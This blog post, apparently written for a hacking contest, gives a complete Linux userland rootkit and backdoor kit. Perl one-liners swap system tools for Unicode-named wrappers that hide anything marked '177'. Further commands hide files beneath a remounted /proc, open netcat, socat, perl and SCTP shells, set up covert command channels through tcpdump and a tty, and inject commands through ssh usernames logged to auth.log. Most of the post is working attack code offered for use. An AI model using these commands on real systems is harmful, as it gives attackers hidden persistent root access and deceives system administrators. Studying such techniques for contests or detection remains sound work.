Basic operation of rootkit
This blogpost shows how to install a simple rootkit with one single (but relatively long) line on a terminal. While the rootkit is not as capable and hard to detect as a full kernel rootkit, it is still able to hide itself, other files, running processes and even open TCP/UDP ports from the system administrator. We have used variations of this rootkit in the hacking contest for several years and it has never been detected and removed in phase 2.
The rootkit works by replacing the commands ls, netstat, ps, lsof and find with a simple wrapper, which calls the original command with all arguments and pipes the output to "grep -vE 'regex_of_stuff_to_hide'" to filter out lines of the output. There are two variations of the rootkit. The first one uses a simple shell script for the wrapper while the second one compiles a small c program instead (which makes the rootkit harder to detect and analyze in the limited time of the hacking contest).
Shell script version of rootkit
The shell script version is still useful if the system doesn't contain a c compiler:
which ls netstat ps lsof find|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|177\"";chmod 493,$o' |
which ls netstat ps lsof find|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|177\"";chmod 493,$o'
The which command lists the absolute path of the programs to maniuplate in the rootkit. These absolute paths are passed to a perl one-liner. The perl program starts with defining the variables $s and $n, which are initialized with the Unicode characters u+455 and u+578. These characters look like the ascii characters "s" and "n". Then it copies the filename of the original filename to $o and changes the filename in $_ by replacing the "s" in ls, netstat, ps and lsof with u+455 and the "n" in find with u+578. The result of these replacements is a new filename which looks exactly like the original filename. The original program is then renamed to the new name and then replaced with a shell script, which calls the renamed original program ($_) and pipes the output to grep. The grep command filters lines containing one of the following:
- Unicode characters used by the rootkit ([$s-$n]) => Makes the rootkit self-hiding
- The string "grep" => Don't show that grep is running in the output of ps
- The string "177" => This is used for the stuff which should be hidden by the rootkit.
This rootkit is pretty easy to detect and analyze because it can easily be seen with the file command that programs like ps or ls have changed the type from an ELF binary to a shell script. After discovering the rootkit, it is also pretty easy to analyze the functionality of it and then selectively find the backdoors hidden by the rootkit.
C version of rootkit
In order to make finding and analyzing the rootkit more difficult, it is also possible to compile small binaries instead of the shell script:
which ls netstat ps lsof find|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,"|gcc -xc - -o$o";print F qq{int main(int a,char**b){char*c[999999]={"sh","-c","$_ \$*|grep -vE \\"177|\$\$|[$s-$n]|grep\\""};memcpy(c+3,b,8*a);execv("/bin/sh",c);}}' |
which ls netstat ps lsof find|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,"|gcc -xc - -o$o";print F qq{int main(int a,char**b){char*c[999999]={"sh","-c","$_ \$*|grep -vE \\"177|\$\$|[$s-$n]|grep\\""};memcpy(c+3,b,8*a);execv("/bin/sh",c);}}'
The beginning is pretty much like the first variant of the rootkit. However, insted of directly writing the wrapper program, the perl script opens a pipe to gcc and writes a small C program to this pipe. The following shows a more readable version of the C program:
int main(int a,char**b){
char*c[999999]={"sh","-c","original_program \$*|grep -vE \\"177|\$\$|[$s-$n]|grep\\""};
memcpy(c+3,b,8*a);
execv("/bin/sh",c);
} |
int main(int a,char**b){
char*c[999999]={"sh","-c","original_program \$*|grep -vE \\"177|\$\$|[$s-$n]|grep\\""};
memcpy(c+3,b,8*a);
execv("/bin/sh",c);
}
The first line initializes the argument array for execv with "sh -c" and the same shell command as the first variant of the rootkit while the second line copies all remaining arguments from the argv array passed to the wrapper binary to the end of the argument array for execv.
Using the rootkit to hide stuff
The following section shows some of the stuff which can be hidden by the rootkit. In order to hide a process using the rootkit, it must match the regular expression of the grep command. This can easily be achieved by making the process name contain the string "177". For hiding open ports from netstat/lsof, the port number has to contain "177".
File hiding below the proc filesystem
Another interesting dilemma when hiding backdoors is whether you want to leave the backdoor binary in the filesystem or not. If you keep the binaries in the filesystem, the backdoor can be found and detected there. On the other hand, it is relatively uncommon to have open file descriptors to deleted files on a typical desktop Linux system and so a defender can easily spot processes with open file handles to deleted files using e.g. the following command:
ls -l /proc/*/fd|grep deleted |
ls -l /proc/*/fd|grep deleted
In order to come around this limitation, we have found a clever new way of hiding files from the system administrator without deleting the files: Unmounting the /proc directory, place the files in /proc on the root filesystem and remount the proc filesystem. Since there may be processes accessing the proc filesystem while we try to unmount it, we use the -l option of umount for lazy unmounting:
Now we can create a few files there for our backdoors:
cd /proc
cp /usr/bin/perl 177a
cp /usr/sbin/tcpdump 177b
cp /bin/nc.tr* 177c
cp `which socat` 177d
mknod 177e c 4 9 # This is a copy of /dev/tty9
ln /var/log/auth.log 177f |
cd /proc
cp /usr/bin/perl 177a
cp /usr/sbin/tcpdump 177b
cp /bin/nc.tr* 177c
cp `which socat` 177d
mknod 177e c 4 9 # This is a copy of /dev/tty9
ln /var/log/auth.log 177f
Netcat remote shell
The first backdoor is a simple netcat listener with a shell attached (177c is a copy of nc.traditional):
./177c -l -p 3177 -e /bin/sh & |
./177c -l -p 3177 -e /bin/sh &
If there is no compatible netcat available, we can use socat (177d) or perl (177a) instead:
./177d TCP4-Listen:3177,fork EXEC:/bin/sh & |
./177d TCP4-Listen:3177,fork EXEC:/bin/sh &
And if socat is missing as well, we can still use perl:
./177a -MIO -e'$s=new IO::Socket::INET(LocalPort=>1337,Listen=>1);while($c=$s->accept()){$_=<$c>;print $c `$_`;}'& |
./177a -MIO -e'$s=new IO::Socket::INET(LocalPort=>1337,Listen=>1);while($c=$s->accept()){$_=<$c>;print $c `$_`;}'&
Due to the rootkit these processes and the open port can't be seen with standard system tools like ps or netstat.
Using tcpdump as a covert communication path
Another backdoor can be built based on tcpdump (which has been copied to 177b):
./177b -iany -n -A udp 2>&1|./177a -ne'system($1)if/LEGO(.*)/'& |
./177b -iany -n -A udp 2>&1|./177a -ne'system($1)if/LEGO(.*)/'&
This command makes tcpdump listen for udp packets on any interfaces and due to the -A option it outputs the raw packet data to STDOUT, which is then piped to a small perl one-liner, which checks for a marker (the string "LEGO") and passes everything from there to system(). This backdoor is particularly interesting because it provides remote root access without any open ports (which might still be detected e.g. with a port scan).
SCTP remote shell
The followinig backdoor uses socat (copied to 177d) to open a backdoor via SCTP.
./177d SCTP-Listen:1177,fork EXEC:/bin/bash& |
./177d SCTP-Listen:1177,fork EXEC:/bin/bash&
Since SCTP is not listed with netstat, it is less likely to be detected than a standard backdoor via TCP/UDP.
Hidden shell on /dev/tty9
The following uses perl (177a) to open a shell to /dev/tty9 (177e), which can be accessed via [CTRL]+[ALT]+[F9].
./177a -pe'system$_'<177e>177e& |
./177a -pe'system$_'<177e>177e&
Opening a shell on tty devices like this is an old trick and well-prepared teams usually check for that kind of backdoors by switching over all virtual terminals and looking for a shell prompt (due to the perl one-liner instead of a real shell there is no visible shell prompt with our exploit) or by running a command like "lsof -n /dev/tty*" (which won't detect our version of the backdoor since we recreated the device with mknod).
Covert communication path with sshd and /var/log/auth.log
The following perl (177a) one-liner continiously monitors 177f (which is a hard link to /var/log/auth.log) for a magic string ("LEGO") and parses the following characters as hex-encoded string, which is then decoded and passed to system.
./177a -e'while(1){sleep(1);while(<>){system pack("H*",$1)if/LEGO(\w+)/}}'<177f& |
./177a -e'while(1){sleep(1);while(<>){system pack("H*",$1)if/LEGO(\w+)/}}'<177f&
This can be exploited by trying to log in with a specially crafted username via ssh. The ssh server writes an error message to /var/log/auth.log and since the error message contains the username, this can be used to remotely inject arbitrary code to the system:
# Hex-encode our shell command:
perl -e 'print "LEGO".unpack("H*","id > /tmp/auth.owned")."\n"'
LEGO6964203e202f746d702f617574682e6f776e6564
# Use the resulting string as a username for an ssh login to get the command executed:
ssh LEGO6964203e202f746d702f617574682e6f776e6564@target_ip |
# Hex-encode our shell command:
perl -e 'print "LEGO".unpack("H*","id > /tmp/auth.owned")."\n"'
LEGO6964203e202f746d702f617574682e6f776e6564
# Use the resulting string as a username for an ssh login to get the command executed:
ssh LEGO6964203e202f746d702f617574682e6f776e6564@target_ip
After installing the backdoor programs to /proc, we can remount the proc filesystem to hide the files from the administrator:
Since the files still exist hidden below the proc filesystem, they are not listed as deleted files in /proc/pid/fd.